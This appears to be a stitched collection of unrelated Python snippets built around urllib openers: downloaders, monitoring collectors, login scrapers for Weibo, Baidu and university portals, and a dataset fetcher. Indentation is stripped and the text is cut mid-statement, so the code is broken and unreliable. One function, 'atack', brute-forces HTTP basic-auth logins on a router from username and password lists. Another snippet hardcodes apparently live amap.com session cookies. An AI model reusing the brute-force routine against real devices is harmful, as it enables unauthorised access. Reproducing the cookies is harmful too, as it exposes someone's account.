def downloadLatest(self,show_name):
print ('Sending request ... ')
if self.http_proxy != '':
proxy = urllib2.ProxyHandler(self.proxyDict)
auth = urllib2.HTTPBasicAuthHandler()
opener = urllib2.build_opener(proxy, auth, urllib2.HTTPHandler)
urllib2.install_opener(opener)
res = urllib2.urlopen(urllib2.Request(self.url, headers = self.header)).read()
soup = bs4.BeautifulSoup(res, "html.parser")
elems = soup.select('.data a')
for i in range(len(elems)):
if show_name.lower() in str(elems[i]).lower():
global temp
temp = i
if temp != -1 :
self.url = elems[temp].get('href')
self.url = self.url[:-10]
self.currentSeason()
self.latestEpisode()
self.getVideoLinkmp4()
print ("The file in latest available is : %s"%(self.filename))
if py_version==3:
response =input("Do you wanna download it (y or n): ")
else:
response=raw_input("Do you wanna download it (y or n):")
if response=='y' or response=='Y':
#print (response)
self.downloader(url = self.url , filename = self.filename )
else :
if sys.platform!='win32':
os.system("setterm -cursor on")
return
temp = -1
else :
print ('Sorry , no match found . ')
def metricCollector():
data = {}
#defaults
data['plugin_version'] = PLUGIN_VERSION
data['heartbeat_required']=HEARTBEAT
data['units']=METRICS_UNITS
URL = "http://"+COUCHDB_HOST+":"+COUCHDB_PORT+COUCHDB_STATS_URI
try:
if COUCHDB_USERNAME and COUCHDB_PASSWORD:
password_mgr = connector.HTTPPasswordMgrWithDefaultRealm()
password_mgr.add_password(REALM, URL, COUCHDB_USERNAME, COUCHDB_PASSWORD)
auth_handler = connector.HTTPBasicAuthHandler(password_mgr)
opener = connector.build_opener(auth_handler)
connector.install_opener(opener)
response = connector.urlopen(URL, timeout=10)
byte_responseData = response.read()
str_responseData = byte_responseData.decode('UTF-8')
couch_dict = json.loads(str_responseData)
for attribute, attribute_value in couch_dict.items():
for metric, val in attribute_value.items():
if 'current' in val and val['current'] is not None:
if metric in METRICS_KEY_VS_NAME:
metric = METRICS_KEY_VS_NAME[metric]
data[metric]=val['current']
except Exception as e:
data['status']=0
data['msg']=str(e)
return data
def set_proxy(proxy):
proxy_handler = request.ProxyHandler({
'http': '%s:%s' % proxy,
'https': '%s:%s' % proxy,
})
opener = request.build_opener(proxy_handler)
request.install_opener(opener)
def download_from_url(url,file_name):
global proxies
try:
if proxies['http']!="":
proxy_handler = urllib2.ProxyHandler(proxies)
opener = urllib2.build_opener(proxy_handler)
urllib2.install_opener(opener)
# opener.addheaders = [('User-Agent','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299')]
f = urllib2.urlopen(url,timeout=6)
data = f.read()
with open(file_name, "wb") as code:
code.write(data)
except urllib2.HTTPError as e:
print('HTTPError:%s'%url)
print(e.code)
if e.code == 404:
print("访问的url不存在")
elif e.code == 456:
print("访问被拦截")
proxies = get_ip()
print(proxies)
download_from_url(url,file_name)
# print(e.read())
except urllib2.URLError as e:
print('URLError:%s'%url)
print(e)
download_from_url(url,file_name)
except Exception as e:
print('error')
print(e)
def setup_proxy(self):
"""
Setup http proxy
"""
proxy = ProxyHandler({'https': self.proxy})
opener = build_opener(proxy)
install_opener(opener)
def bmd_urlopen(url, **kwargs):
full_url = parse.urljoin('http://blendermada.com/', url)
params = parse.urlencode(kwargs)
handlers = get_proxy_handlers()
opener = request.build_opener(*handlers)
request.install_opener(opener)
return request.urlopen('%s?%s' % (full_url, params))
def __do_login(self):
cookie_jar2 = cookielib.LWPCookieJar()
cookie_support2 = request.HTTPCookieProcessor(cookie_jar2)
opener2 = request.build_opener(cookie_support2, request.HTTPHandler)
request.install_opener(opener2)
req = request.Request('https://passport.weibo.cn/sso/login')
req.add_header('Origin', 'https://passport.weibo.cn')
req.add_header('User-Agent', 'Mozilla/6.0 (iPhone; CPU iPhone OS 8_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/8.0 Mobile/10A5376e Safari/8536.25')
req.add_header('Referer', 'https://passport.weibo.cn/signin/login?entry=mweibo&res=wel&wm=3349&r=http%3A%2F%2Fm.weibo.cn%2F')
login_data = parse.urlencode([
('username', self.name),
('password', self.pwd),
('entry', 'mweibo'),
('client_id', ''),
('savestate', '1'),
('ec', ''),
('pagerefer', 'https://passport.weibo.cn/signin/welcome?entry=mweibo&r=http%3A%2F%2Fm.weibo.cn%2F')
])
with request.urlopen(req,data=login_data.encode('utf-8')) as f:
cookie_jar2.save(self.cookies_path, ignore_discard=True, ignore_expires=True)
back_html = f.read()
back_data = json.loads(back_html)
if back_data.retcode==20000000:
self.uid = back_data.data.uid
return True
else:
return False
def get_data(year, month, num):
#print("Get Stock %d %4d/%2d Data..."%(num, year, month))
url = (
'http://www.twse.com.tw/ch/trading/exchange/' +
'STOCK_DAY/STOCK_DAY_print.php?genpage=genpage/' +
'Report%(year)d%(mon)02d/%(year)d%(mon)02d_F3_1_8_%(stock)s.php' +
'&type=csv&r=%(rand)s') % {'year': year,
'mon': month,
'stock': num,
'rand': random.randrange(1, 1000000)}
if(DEBUG):
print(url)
if(PROXY):
proxy = req.ProxyHandler({'http': r'http://*****:*****@10.36.6.67:3128'})
auth = req.HTTPBasicAuthHandler()
opener = req.build_opener(proxy, auth, req.HTTPHandler)
req.install_opener(opener)
cc_read = req.urlopen(url).readlines()
for i in range(len(cc_read)):
cc_read[i] = cc_read[i].decode('big5').strip()
if(DEBUG):
print("%d:"%i+cc_read[i])
return cc_read
def execute(self, method, *args, **kwargs):
header = {
'Content-Type' : 'application/json',
'User-Agent' : 'python-xbmc'
}
# Params are given as a dictionnary
if len(args) == 1:
args=args[0]
params = kwargs
# Use kwargs for param=value style
else:
args = kwargs
params={}
params['jsonrpc']='2.0'
params['id']=self.id
self.id +=1
params['method']=method
params['params']=args
values=json.dumps(params)
# HTTP Authentication
password_mgr = HTTPPasswordMgrWithDefaultRealm()
password_mgr.add_password(None, self.url, self.username, self.password)
auth_handler = HTTPBasicAuthHandler(password_mgr)
opener = build_opener(auth_handler)
install_opener(opener)
data = values
req = Request(self.url, data.encode('utf-8'), header)
response = urlopen(req)
the_page = response.read()
if len(the_page) > 0 :
return json.load(StringIO(the_page.decode('utf-8')))
else:
return None # for readability
def readUrl(self,host,port,url,user,password):
error=False
tomcatUrl = "http://"+host+":"+str(port)+url
try:
pwdManager = urlconnection.HTTPPasswordMgrWithDefaultRealm()
pwdManager.add_password(None,tomcatUrl,user,password)
authHandler = urlconnection.HTTPBasicAuthHandler(pwdManager)
opener=urlconnection.build_opener(authHandler)
urlconnection.install_opener(opener)
req = urlconnection.Request(tomcatUrl)
handle = urlconnection.urlopen(req, None)
data = handle.read()
except HTTPError as e:
if(e.code==401):
data="ERROR: Unauthorized user. Does not have permissions. %s" %(e)
elif(e.code==403):
data="ERROR: Forbidden, yours credentials are not correct. %s" %(e)
else:
data="ERROR: The server couldn\'t fulfill the request. %s" %(e)
error=True
except URLError as e:
data = 'ERROR: We failed to reach a server. Reason: %s' %(e.reason)
error = True
except socket.timeout as e:
data = 'ERROR: Timeout error'
error = True
except socket.error as e:
data = "ERROR: Unable to connect with host "+self.host+":"+self.port
error = True
except:
data = "ERROR: Unexpected error: %s"%(sys.exc_info()[0])
error = True
return data,error
def openurl(self,url):
"""
"""
cookie_support= urllib2.HTTPCookieProcessor(cookielib.CookieJar())
self.opener = urllib2.build_opener(cookie_support,urllib2.HTTPHandler)
urllib2.install_opener(self.opener)
user_agents = [
'Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11',
'Opera/9.25 (Windows NT 5.1; U; en)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.12) Gecko/20070731 Ubuntu/dapper-security Firefox/1.5.0.12',
'Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/1.2.9',
"Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.7 (KHTML, like Gecko) Ubuntu/11.04 Chromium/16.0.912.77 Chrome/16.0.912.77 Safari/535.7",
"Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:10.0) Gecko/20100101 Firefox/10.0 ",
]
agent = random.choice(user_agents)
self.opener.addheaders = [("User-agent",agent),("Accept","*/*"),('Referer','http://www.yahoo.com')]
try:
res = self.opener.open(url)
#return res
#print res.read()
except Exception as e:
self.speak(str(e))
raise Exception
else:
return res.read()
def install_proxy(self):
"""set proxy if one is set in QGIS network settings"""
# initially support HTTP for now
if self.settings.value('/proxy/proxyEnabled') == 'true':
if self.settings.value('/proxy/proxyType') == 'HttpProxy':
ptype = 'http'
else:
return
user = self.settings.value('/proxy/proxyUser')
password = self.settings.value('/proxy/proxyPassword')
host = self.settings.value('/proxy/proxyHost')
port = self.settings.value('/proxy/proxyPort')
proxy_up = ''
proxy_port = ''
if all([user != '', password != '']):
proxy_up = '%s:%s@' % (user, password)
if port != '':
proxy_port = ':%s' % port
conn = '%s://%s%s%s' % (ptype, proxy_up, host, proxy_port)
install_opener(build_opener(ProxyHandler({ptype: conn})))
def download(self, source, dest):
"""
Download an archive file.
:param str source: URL pointing to an archive file.
:param str dest: Local path location to download archive file to.
"""
# propogate all exceptions
# URLError, OSError, etc
proto, netloc, path, params, query, fragment = urlparse(source)
if proto in ('http', 'https'):
auth, barehost = splituser(netloc)
if auth is not None:
source = urlunparse((proto, barehost, path, params, query, fragment))
username, password = splitpasswd(auth)
passman = HTTPPasswordMgrWithDefaultRealm()
# Realm is set to None in add_password to force the username and password
# to be used whatever the realm
passman.add_password(None, source, username, password)
authhandler = HTTPBasicAuthHandler(passman)
opener = build_opener(authhandler)
install_opener(opener)
response = urlopen(source)
try:
with open(dest, 'w') as dest_file:
dest_file.write(response.read())
except Exception as e:
if os.path.isfile(dest):
os.unlink(dest)
raise e
def POST(url, args={}, cred=None):
"""do http post
url is the URL you want
args is a dict of cgi args
cred is ( host, realm, username, password )
"""
auth_handler = None
arg_string = ''
if cred is not None:
(host, realm, username, password) = cred
auth_handler = HTTPBasicAuthHandler()
auth_handler.add_password(realm, host, username, password)
if auth_handler:
opener = build_opener(cookie_processor, auth_handler)
else:
opener = build_opener(cookie_processor)
install_opener(opener)
print("URL %s" % url)
data = urlencode(args)
req = Request(url, data)
f = urlopen(req)
return f
def setup_urllib():
password_mgr = request.HTTPPasswordMgrWithDefaultRealm()
password_mgr.add_password(None, root_url, USER, PASS)
handler = request.HTTPBasicAuthHandler(password_mgr)
opener = request.build_opener(handler)
opener.open(root_url)
request.install_opener(opener)
def _openURL(self):
try:
if (self._userName and self._userPass):
password_mgr = urlconnection.HTTPPasswordMgr()
password_mgr.add_password(self._realm, self._url, self._userName, self._userPass)
auth_handler = urlconnection.HTTPBasicAuthHandler(password_mgr)
opener = urlconnection.build_opener(auth_handler)
urlconnection.install_opener(opener)
#requestObj = urlconnection.Request(self._url)
response = urlconnection.urlopen(self._url, timeout=10)
time.sleep(5)
response1 = urlconnection.urlopen(self._url, timeout=10)
if (response.status == 200 and response1.status == 200):
byte_responseData = response.read()
str_responseData = byte_responseData.decode('UTF-8')
self._parseStats(str_responseData)
byte_responseData1 = response1.read()
str_responseData1 = byte_responseData1.decode('UTF-8')
self._parseStats(str_responseData1,counter=True)
else:
print(str(json.dumps({'Error_code':str(response.status)})))
except HTTPError as e:
print(str(json.dumps({'Error_code':'HTTP Error '+str(e.code)})))
except URLError as e:
print(str(json.dumps({'Error_code':'URL Error '+str(e.reason)})))
except InvalidURL as e:
print(str(json.dumps({'Error_code':'Invalid URL'})))
def config_request(request_url, request_data, method, proxy):
requests = False
cookie_handler = False
proxy_handler = False
headers = False
request_datas = False
opener = False
if request_data and method:
request_datas = set_request_datas(request_data)
if proxy and len(proxy) > 0:
proxy_handler = set_proxy(proxy)
cookie_handler, cookie = set_cookies()
headers = set_headers(request_url)
if cookie_handler and proxy_handler:
opener = request.build_opener(cookie_handler, proxy_handler)
request.install_opener(opener)
if not method:
requests = request.Request(request_url, headers=headers) #static
elif method == 'POST':
requests = request.Request(
request_url, request_datas, headers=headers) #post
elif method == 'GET':
get_request_url = request_url + '?' + request_datas
requests = request.Request(get_request_url, headers=headers) #get
return requests, cookie
def LoginBaiDu(user,pwd):
#设置
cookie = cookielib.CookieJar()
cookieProc = urllib2.HTTPCookieProcessor(cookie)
opener = urllib2.build_opener(cookieProc)
urllib2.install_opener(opener)
#请求
header = {'User-Agent':'Mozilla/5.0 (Windows NT 5.1; rv:6.0.2) Gecko/20100101 Firefox/6.0.2'}
post = {
'username':user,
'password':pwd,
'tpl':'mn',
'u':'http://www.baidu.com/',
'psp_tt':0,
'mem_pass':'******'
}
post = urllib.parse.urlencode(post)
post = post.encode('utf-8')
req = urllib2.Request(
url='https://passport.baidu.com/?login',
data=post,
headers = header
)
res = urllib2.urlopen(req).read(500)
if 'passCookie' in res:
flag = True
else:
flag = 'Login Fail:%s'%user
return flag
print (flag)
def api_request_native(url, data=None, method=None):
request = urllib.Request(url)
# print('API request url:', request.get_full_url())
if method:
request.get_method = lambda: method
request.add_header('Authorization', 'token ' + token_auth_string())
request.add_header('Accept', 'application/json')
request.add_header('Content-Type', 'application/json')
if data is not None:
request.add_data(bytes(data.encode('utf8')))
# print('API request data:', request.get_data())
# print('API request header:', request.header_items())
if settings.get('https_proxy'):
opener = urllib.build_opener(urllib.HTTPHandler(), urllib.HTTPSHandler(),
urllib.ProxyHandler({'https': settings.get('https_proxy')}))
urllib.install_opener(opener)
try:
with contextlib.closing(urllib.urlopen(request)) as response:
if response.code == 204: # No Content
return None
else:
return json.loads(response.read().decode('utf8', 'ignore'))
except urllib.HTTPError as err:
with contextlib.closing(err):
raise SimpleHTTPError(err.code, err.read())
def exrtract_page(url, title):
proxies = {'http': '127.0.0.1:8118'}
proxy = ProxyHandler(proxies)
opener = build_opener(proxy)
opener.addheaders = [('User-agent', 'Mozilla/5.0')]
install_opener(opener)
file_path = HTML_dir + title + '.html'
if os.path.exists(file_path):
return
request = Request(url)
content = urlopen(request, timeout=30).read()
soup = BeautifulSoup(content)
page_title = soup.find('h1', {'itemprop': 'name'}).get_text()
header = \
'<h1>' \
+ page_title \
+ '</h1>\n'
main_content = soup.find('div', {'itemprop': 'articleBody'}).prettify(formatter='html')
main_content = main_content.replace('/images/', 'http://developer.android.com/images/')
output = open(file_path, 'w')
output.write(
header
+ main_content)
def exrtract_multi_pages(urls, title):
proxies = {'http': '127.0.0.1:8118'}
proxy = ProxyHandler(proxies)
opener = build_opener(proxy)
install_opener(opener)
file_path = HTML_dir + title + '.html'
all_content = ""
for url in urls:
print("extracting %s" % url)
request = Request(url)
content = urlopen(request, timeout=30).read()
if content is not None:
print("返回结果不为空")
soup = BeautifulSoup(content)
page_title = soup.find('h1', {'itemprop': 'name'}).get_text()
header = \
'<h1>' \
+ page_title \
+ '</h1>\n'
main_content = soup.find('div', {'itemprop': 'articleBody'}).prettify(formatter='html')
#main_content = main_content.replace('/images/', 'http://developer.android.com/images/')
main_content = main_content.replace(' src="', ' src="http://developer.android.com/')
all_content += header + main_content
output = open(file_path, 'w')
output.write(all_content)
def __init__(self,stuid,pwd,io):
super(Login, self).__init__()
global INFO
INFO['id'] = stuid
INFO['pwd'] = pwd
INFO['io'] = io
self._LOGIN_DATA = {
"Login.Token1":INFO['id'],
"Login.Token2":INFO['pwd'],
"goto":"http://portal.uestc.edu.cn/loginSuccess.portal",
"gotoOnFail":"http://portal.uestc.edu.cn/loginFailure.portal"
}
self._HEADERS = {
"Accept": "Accept:text/html,application/xhtml+xml,image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,application/x-shockwave-flash,application/xml;q=0.9,*/*;q=0.8",
"Accept-Charset":"GBK,utf-8;q=0.7,*;q=0.3",
"Accept-Language": "zh-CN,zh;q=0.8",
"Accept-Encoding": "gzip, deflate",
"Referer":"http://portal.uestc.edu.cn/index.portal",
"Host":"portal.uestc.edu.cn",
"Content-Type": "application/x-www-form-urlencoded",
'User-agent':'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
"Connection": "Keep-Alive",
"Cache-Control": "no-cache",
}
self._CJ = cookiejar.CookieJar()
self._OPENER = request.build_opener(request.HTTPCookieProcessor(self._CJ),SimpleCookieHandler(),MyHTTPHandler())
request.install_opener(self._OPENER)
self._LOGIN_TAG = False
self._URL = 'http://'+INFO['host_portal']+'/userPasswordValidate.portal'
try:
self.login()
except:
print ("当前网络不稳定，请稍后再试！")
exit(1)
def _build_request(self, url, json_header=False, method='GET', data=None):
if self.proxies:
proxy_support = urllib_request.ProxyHandler(self.proxies)
opener = urllib_request.build_opener(proxy_support)
urllib_request.install_opener(opener)
req = urllib_request.Request(url)
req.get_method = lambda: method
req.add_header('User-Agent', self.useragent)
req.add_header('Authorization', 'Bearer ' + self.apikey)
if json_header:
req.add_header('Content-Type', 'application/json')
try:
if data:
response = urllib_request.urlopen(req, json.dumps(data))
else:
response = urllib_request.urlopen(req, timeout=10)
except HTTPError as e:
if 400 <= e.code < 500:
raise SendGridClientError(e.code, e.read())
elif 500 <= e.code < 600:
raise SendGridServerError(e.code, e.read())
else:
assert False
except timeout as e:
raise SendGridClientError(408, 'Request timeout')
body = response.read()
return response.getcode(), body
def login(n):
'''
login xiami.
arugments:
n:
return:
url opener:when succeeded
None:when failed or have signed in
'''
cookie_support= HTTPCookieProcessor(CookieJar())
opener = build_opener(cookie_support, HTTPHandler)
install_opener(opener)
lf=login_form
lf.update(user_info[n])
req=Request(url=site_urls["login"],data=urlencode(lf).encode("utf-8"),headers=headers)
content=urlopen(req).read().decode("utf-8")
if content.find(site_flags["signed-in"])!=-1:
print("%s：已签过。\r\n"%user_info[n]["email"])
elif content.find(site_flags["login-failed"])!=-1:
print("%s：邮箱或密钥错误。\r\n"%user_info[n]["email"])
elif content.find(site_flags["identify-required"])!=-1:
print("%s：虾米要求输入验证码，请断网后重新尝试。\r\n"%user_info[n]["email"])
elif content.find(site_flags["logged-in"])!=-1:
print("%s：登录成功。"%user_info[n]["email"])
return opener
return None
def getFile(cls, getfile):
if cls.getProxy():
proxy = req.ProxyHandler({'http': cls.getProxy(), 'https': cls.getProxy()})
auth = req.HTTPBasicAuthHandler()
opener = req.build_opener(proxy, auth, req.HTTPHandler)
req.install_opener(opener)
return req.urlopen(getfile)
def teardown():
"""Restore the normal HTTP handler"""
install_opener(build_opener(HTTPHandler))
# Go back to the original folder
os.chdir(ORIGINAL_FOLDER)
# remove the test folder
shutil.rmtree(TEST_FOLDER)
def __init__(self, url, userAgent = '', cookieJar = CookieJar(), maxlag = 5):
if 'http://' not in url and 'https://' not in url:
url = 'http://' + url # Append http:// if it's not there already.
if 'api.php' in url:
self.scriptPath = url[:-7]
elif 'index.php' in url:
self.scriptPath = url[:-9]
elif url[-1:] == '/':
self.scriptPath = url
else:
self.scriptPath = url + '/'
if userAgent == '':
out = subprocess.Popen(["git", "log", "-n 1", '--pretty=format:%H'], stdout = subprocess.PIPE, stderr = subprocess.PIPE)
stdout, stderr = out.communicate()
if out.returncode == 0:
userAgent = 'PyMediaWikiClient/git/' + stdout
self.userAgent = userAgent
self.cookieJar = cookieJar
self.maxlagDefault = maxlag
install_opener(build_opener(HTTPCookieProcessor(self.cookieJar)))
self.isLoggedIn = False
self.tokens = {}
self.getUserInfo()
try:
self.getToken(name = 'edit', cached = False)
except:
pass
def atack(ip, users, passwords):
passwords = passwords.read().split("\n")
find = False
realm_router = get_realm(ip)
for u in users:
u2 = u.strip()
for p in passwords:
p2 = p.strip()
try:
auth_handler = ur.HTTPBasicAuthHandler()
auth_handler.add_password(realm=realm_router,
uri=ip,
user=u2,
passwd=p2)
opener = ur.build_opener(auth_handler)
ur.install_opener(opener)
pag = ur.urlopen("http://" + str(ip))
if(pag.getcode() == 200):
print(chr(27) + "[1;34m[+]"+ chr(27)
+ "[0m Login found: " + str(u2) + ":" + str(p2))
find = True
except:
print(chr(27) + "[1;31m[-] "+ chr(27)
+ "[0m" + str(u2) + ":" + str(p2) + " >> failed" )
if not find:
print("Login not found.")
def metricCollector3(self):
try:
if (self._userName and self._userPass):
password_mgr = urlconnection.HTTPPasswordMgr()
password_mgr.add_password(self._realm, self._url, self._userName, self._userPass)
auth_handler = urlconnection.HTTPBasicAuthHandler(password_mgr)
opener = urlconnection.build_opener(auth_handler)
urlconnection.install_opener(opener)
response = urlconnection.urlopen(self._url, timeout=10)
if response.status == 200:
byte_responseData = response.read()
str_responseData = byte_responseData.decode('UTF-8')
self._parseStats(str_responseData)
else:
self.dictApacheData['status'] = 0
self.dictApacheData['msg'] = 'Error_code' + str(response.status)
except HTTPError as e:
self.dictApacheData['status'] = 0
self.dictApacheData['msg'] = 'Error_code : HTTP Error ' + str(e.code)
except URLError as e:
self.dictApacheData['status'] = 0
self.dictApacheData['msg'] = 'Error_code : URL Error ' + str(e.reason)
except InvalidURL as e:
self.dictApacheData['status'] = 0
self.dictApacheData['msg'] = 'Error_code : Invalid URL'
except Exception as e:
self.dictApacheData['status'] = 0
self.dictApacheData['msg'] = 'Exception occured in collecting data : ' + str(e)
def change_proxy(self):
self.current_proxy=self.proxy_manager.request_proxy(1,drop=[self.current_proxy])[0]
print('--- change proxy to ',self.current_proxy,' --- ')
self.__cj = http.cookiejar.CookieJar()
proxy_handler=request.ProxyHandler({'http':self.current_proxy})
self.opener = request.build_opener(request.HTTPCookieProcessor(self.__cj),proxy_handler)
request.install_opener(self.opener)
def __init__(self):
self.cookie = http.cookiejar.CookieJar()
self.handler = urllib2.HTTPCookieProcessor(self.cookie)
self.opener = urllib2.build_opener(self.handler)
urllib2.install_opener(self.opener)
children = self.content_box.get_children()
for child in children:
child.hide()
if child.get_name() == "c_box":
c_widgets = child.get_children()
for c_widget in c_widgets:
c_widget.hide()
self.main_stack.set_visible_child_name("side_view_page")
self.header_stack.set_visible_child_name("side_view")
self.search_entry.grab_focus()
self.current_sidepage = None
def quit(self, *args):
self.window.destroy()
Gtk.main_quit()
if __name__ == "__main__":
import signal
ps = proxygsettings.get_proxy_settings()
if ps:
proxy = urllib.ProxyHandler(ps)
else:
proxy = urllib.ProxyHandler()
urllib.install_opener(urllib.build_opener(proxy))
window = MainWindow()
signal.signal(signal.SIGINT, window.quit)
Gtk.main()
df = pd.read_csv("./top250_f1.csv",sep = "#", encoding = 'utf8',
names=['num','title','director','role','init_year','area','genre','rating_num','comment_num','comment','url']
urlsplit = df.url.str.split('/').apply(pd.Series)
num=0
id_list = list(urlsplit[4])[1:]
#这里写几个可用的IP地址和端口号，只抓250个页面，有两三个IP就够了
#(建议使用此代理：http://www.xicidaili.com/或http://www.data5u.com/)
IP_list = ['166.111.80.162:3128','39.134.153.26:8080' ]
IP=random.choice(IP_list)
with open('top250_f5.csv', 'w',encoding='utf8') as outputfile:
outputfile.write("num#rank#alt_title#title#pubdate#language#writer#director#cast#movie_duration#year#movie_type#tags#image\n")
proxy = urlrequest.ProxyHandler({'https': '' + IP})
opener = urlrequest.build_opener(proxy)
opener.addheaders = [('User-Agent',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4)AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.1 Safari/603.1.30')]
urlrequest.install_opener(opener)
for id in id_list:
url_visit = 'https://api.douban.com/v2/movie/{}'.format(id)
crawl_content = urlrequest.urlopen(url_visit).read()
json_content = json.loads(crawl_content.decode('utf-8'))
rank = json_content['rating']['average']
alt_title = json_content['alt_title']
image = json_content['image']
title = json_content['title']
pubdate = json_content['attrs']['pubdate']
language = json_content['attrs']['language']
try:
writer = json_content['attrs']['writer']
except:
writer = 'None'
director = json_content['attrs']['director']
def unset_proxy():
proxy_handler = request.ProxyHandler({})
opener = request.build_opener(proxy_handler)
request.install_opener(opener)
import requests
from urllib import request
import json
url = 'https://www.amap.com/detail/get/detail?id=B000A816R6'
headers = {
'User-Agent':
'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',
'Host': 'www.amap.com',
'Cookie':
'UM_distinctid=16c1caae97b35-0d8bfd813-4349052c-100200-16c1caae97d29; passport_login=MjQyMTQ4MDU0LGFtYXBfMTg2MDU5OTEzNjFBQ3VQaHVIM2osb3V6NGk3YnptcG5icXZrNmg2bGFrbmFmbW5sNzJ2ZHIsMTU2Mzg3MTc4NixOREUxWm1ZME9XUTVNVFZoWmprelpHVTNaamd3WkRabFkyWTFPVE13WldFPQ%3D%3D; dev_help=076cjGN6uyg6EIEygQEU9mY0YzY0ZTYzYzQ3NmQ2MmJkOTFhMmNlNjhkMTc3NjMxOTQ1YjY3MTg5MWVmNWM1MTA0ZWYyYmUxZGY3ZmY5OGI%2BugRfGX1T5XrTHQxwhbFJStNrGyaj4MBF%2B64l8hyic8%2FusEFVaJhh%2FtGMbcmS4h4%2FSlXUQJ0dSy0ha5UWyaAAcS9SbPN4K1Ft5k7aPRXF8UMga5VpHN%2Bf9%2BOSGGTOSaw%3D; guid=52b5-e805-1388-9908; cna=knO0FWvaBl4CAdz5v6rhARcf; _uab_collina=156508106338566968589276; CNZZDATA1255626299=1603378664-1565079939-%7C1565079939; l=cBPUv6n4qUH1aju8BOfZdurza77T2CdjGsPzaNbMiICPO5Bv7m9hWZFa36KJCnGVL6lBB3-qf7eUBPT7AyUCh1iBQ21A6M9c.; isg=BIqKf20W448obm8gedvhLzEb23Asew7VnzSxRBTGi11oxz6B2Q9Y5Vvx13O-N4Zt',
'X-Requested-With': 'XMLHttpRequest',
'Referer': 'https://www.amap.com/place/B000A816R6'
}
user_agent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
proxy = {'https': '120.83.106.16:9999', 'https': '47.94.85.21:3129'}
sel_proxy = request.ProxyHandler(proxy)
opener = request.build_opener(sel_proxy)
request.install_opener(opener)
opener.addheaders = [('User-Agent', user_agent)]
html = request.urlopen(url).read()
tt = json.loads(html)
print(tt)
def cli():
parser = argparse.ArgumentParser("Downloads the IKEA dataset")
parser.add_argument('output_dir',
help="Determines where the data is going to be saved.")
args = parser.parse_args()
# setting the default header, else the server does not allow the download
opener = build_opener()
opener.addheaders = [('User-agent', 'Mozilla/5.0')]
install_opener(opener)
ikea_dir = args.output_dir
if not os.path.exists(ikea_dir):
os.makedirs(ikea_dir)
# download the zip file, which contains all the model files.
print("Downloading the zip file (166mb)...")
ikea_url = "http://ikea.csail.mit.edu/zip/IKEA_models.zip"
zip_file_path = os.path.join(ikea_dir, "IKEA_models.zip")
urlretrieve(ikea_url, zip_file_path)
print("Download complete.")
# unzip the zip file
print("Unzipping the zip file...")
ikea_dir = os.path.join(ikea_dir, "IKEA")
SetupUtility.extract_file(ikea_dir, zip_file_path)
os.remove(zip_file_path)
subprocess.call("chmod -R a+rw *", shell=True, cwd=ikea_dir)
print("The IKEA dataset has some weird bugs, these are fixed now.")
if os.path.exists(os.path.join(ikea_dir, "IKEA_bed_BEDDINGE")):
shutil.rmtree(os.path.join(ikea_dir, "IKEA_bed_BEDDINGE"))
nils_folder = os.path.join(ikea_dir, "IKEA_chair_NILS")
if os.path.exists(nils_folder):
shutil.rmtree(nils_folder)
# delete all no double .obj
for folder in glob.glob(os.path.join(ikea_dir, "*")):
no_jitter_folders = glob.glob(os.path.join(folder, "nojitter*"))
org_obj_files = glob.glob(os.path.join(folder, ".obj"))
for org_obj_file in org_obj_files:
os.remove(org_obj_file)
if no_jitter_folders:
for no_jitter_folder in no_jitter_folders:
obj_files = glob.glob(os.path.join(no_jitter_folder, "*.obj"))
# first remove all the ones without mtl
for obj_file in obj_files:
new_name = obj_file.replace(
os.path.basename(os.path.dirname(obj_file)), "")
os.rename(obj_file, new_name)
os.rename(obj_file.replace(".obj", ".mtl"),
new_name.replace(".obj", ".mtl"))
jpg_files = glob.glob(os.path.join(no_jitter_folder, "*.jpg"))
for jpg_file in jpg_files:
new_name = jpg_file.replace(
os.path.basename(os.path.dirname(jpg_file)), "")
os.rename(jpg_file, new_name)
folders_in_no_jitter = [
f for f in glob.glob(os.path.join(no_jitter_folder, "*"))
if os.path.isdir(f)
]
for mv_folder in folders_in_no_jitter:
new_name = mv_folder.replace(
os.path.basename(os.path.dirname(mv_folder)), "")
os.rename(mv_folder, new_name)
# delete no jitter
for folder in glob.glob(os.path.join(ikea_dir, "*", "nojitter*")):
shutil.rmtree(folder)
# delete all skp files
skp_files = glob.glob(os.path.join(ikea_dir, "*", "*.skp"))
for skp_file in skp_files:
os.remove(skp_file)
# delete all json files
js_files = glob.glob(os.path.join(ikea_dir, "*", "*.js"))
for js_file in js_files:
os.remove(js_file)
# delete specific files which need to broken up:
def delete_obj_file(path):
os.remove(path)
if os.path.exists(path.replace(".obj", ".mtl")):
os.remove(path.replace(".obj", ".mtl"))
# directly remove these files:
path = os.path.join(ikea_dir, "IKEA_wardrobe_PAX",
"4b91d887fd34890a35d389147630ded_obj0_object.obj")
delete_obj_file(path)
path = os.path.join(ikea_dir, "IKEA_chair_JOKKMOKK",
"221da64f5789c4bfcf7d397dd220c7e2_obj0_object.obj")
delete_obj_file(path)
path = os.path.join(ikea_dir, "IKEA_table_JOKKMOKK",
"jokkmokk_table_2_obj0_object.obj")
delete_obj_file(path)
path = os.path.join(ikea_dir, "IKEA_table_UTBY",
"cfcd08bbf590325e7b190cd56debb387_obj0_object.obj")
delete_obj_file(path)
path = os.path.join(ikea_dir, "IKEA_chair_STEFAN",
